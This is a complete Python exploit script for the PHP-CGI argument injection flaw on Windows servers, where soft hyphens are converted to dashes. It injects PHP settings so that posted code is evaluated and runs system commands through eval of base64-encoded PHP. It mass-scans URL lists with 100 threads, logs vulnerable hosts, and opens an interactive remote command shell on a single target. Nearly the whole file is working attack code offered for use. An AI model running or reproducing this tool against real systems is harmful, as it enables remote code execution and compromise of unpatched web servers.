exploit.py

import re
import base64
import requests
import rich_click as click
from colorama import Fore, init
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()
init(autoreset=True)


class PHPKiller:
    def __init__(self, file_path=None, url=None, output=None):
        self.urls = []
        self.output = output
        if file_path:
            self.urls = self.read_urls_from_file(file_path)
        elif url:
            self.urls = [url]
        self.single_url_mode = url is not None

    def read_urls_from_file(self, file_path):
        with open(file_path, "r") as file:
            return file.read().splitlines()

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(f"{message}", bold=True, fg="white")
        click.echo(formatted_message)

    def send_request(self, url, cmd="whoami", verbose=True):
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        test = base64.b64encode(
            f"echo '[S]'; system('{cmd}'); echo '[E]';".encode()
        ).decode()
        data = f"<?php phpinfo(); echo eval(base64_decode('{test}')); die()?>"
        php_settings = [
            "-d cgi.force_redirect=0",
            '-d disable_functions=""',
            "-d allow_url_include=1",
            "-d auto_prepend_file=php://input",
        ]
        settings_str = (
            " ".join(php_settings)
            .replace("-", "%AD")
            .replace("=", "%3D")
            .replace(" ", "+")
        )
        payload = f"/php-cgi/php-cgi.exe?{settings_str}"

        try:
            response = requests.post(
                f"{url.rstrip('/')}{payload}",
                headers=headers,
                data=data,
                timeout=5,
                verify=False,
            )
            match = re.search(r"\[S\](.*?)\[E\]", response.text, re.DOTALL)
            if match:
                result_value = match.group(1).strip()
                if verbose:
                    self.custom_print(
                        f"The URL {url} is vulnerable, Result: {result_value}", "+"
                    )
                return True, url, result_value
            else:
                return False, url, f"Fail at {url} with payload {payload}"
        except requests.exceptions.RequestException as e:
            return None, url, f"Error at {url} with payload {payload}: {str(e)}"

    def execute_requests(self):
        total_urls = len(self.urls)
        success_count = 0
        fail_count = 0
        error_count = 0

        if self.single_url_mode:
            result, url, message = self.send_request(self.urls[0])
            if result:
                if self.output:
                    with open(self.output, "a") as f:
                        f.write(f"{url}\n")
                self.interactive_shell(url)
            else:
                self.custom_print(message, "-")
        else:
            with ThreadPoolExecutor(max_workers=100) as executor, alive_bar(
                total_urls, enrich_print=False
            ) as bar:
                future_to_url = {
                    executor.submit(self.send_request, url): url for url in self.urls
                }
                for future in as_completed(future_to_url):
                    result, url, message = future.result()
                    if result:
                        success_count += 1
                        if self.output:
                            with open(self.output, "a") as f:
                                f.write(f"{url}\n")
                    elif result is False:
                        fail_count += 1
                    else:
                        error_count += 1
                    bar.text = (
                        f"{Fore.GREEN}Success: {success_count}{Fore.RESET}, "
                        f"{Fore.YELLOW}Fail: {fail_count}{Fore.RESET}, "
                        f"{Fore.RED}Error: {error_count}{Fore.RESET}"
                    )
                    bar()

    def interactive_shell(self, url: str):
        session = PromptSession(history=InMemoryHistory())
        while True:
            cmd = session.prompt(
                HTML("<ansiyellow><b>WINDAUBE> </b></ansiyellow>"), default=""
            ).strip()
            if cmd.lower() == "exit":
                break
            if cmd.lower() == "clear":
                print("\x1b[2J\x1b[H", end="")
                continue

            _, _, response = self.send_request(url, cmd, verbose=False)
            self.custom_print(f"Result:\n\n{response}", "*")


@click.command(
    help="""
    PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target.
    A vulnerable configuration is locale dependent (such as Chinese or Japanese), such that
    the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)
    character. Additionally, a target web server must be configured to run PHP under CGI mode, or directly expose
    the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),
    and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have not received patches.
    """
)
@click.option(
    "--file",
    "-f",
    type=click.Path(exists=True),
    required=False,
    help="Path to file containing URLs to test.",
)
@click.option("--url", "-u", type=str, required=False, help="Single URL to test.")
@click.option(
    "--output",
    "-o",
    type=str,
    required=False,
    help="Output file to save vulnerable URLs.",
)
def main(file, url, output):
    if file:
        sender = PHPKiller(file_path=file, output=output)
    elif url:
        sender = PHPKiller(url=url, output=output)
    else:
        click.echo("You must provide either a file with URLs or a single URL to test.")
        return
    sender.execute_requests()


if __name__ == "__main__":
    main()